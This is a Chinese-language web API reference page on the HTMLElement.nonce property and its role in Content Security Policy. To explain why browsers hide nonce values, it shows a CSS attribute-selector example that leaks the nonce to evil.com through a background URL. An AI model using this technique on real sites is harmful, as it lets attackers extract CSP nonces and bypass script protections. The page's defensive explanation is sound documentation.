HTMLElement.nonce

HTMLElement 接口的 nonce 属性返回只使用一次的加密数字,被内容安全政策用来决定这次请求是否被允许处理。

在接下来的实现中,有 nonce 属性的元素只能在脚本中使用(不可以在其他渠道使用,比如 css 属性选择器)。

示例

访问 nonce 属性值

以前,并不是所有的浏览器都支持 nonce IDL 属性,因此在实际应用场景中,尝试使用 getAttribute 作为备选:

js
let nonce = script["nonce"] || script.getAttribute("nonce");

然而,最新的浏览器版本都隐藏了 nonce 值(返回一个空值)。IDL 属性(script['nonce'])成为唯一的访问方式。

隐藏 Nonce 是为了阻止攻击者通过某种机制提取出 nonce 值,比如下面这种方式:

css
script[nonce~="whatever"] {
  background: url("https://evil.com/nonce?whatever");
}

规范

Specification
HTML Standard
# dom-noncedelement-nonce

浏览器兼容性

BCD tables only load in the browser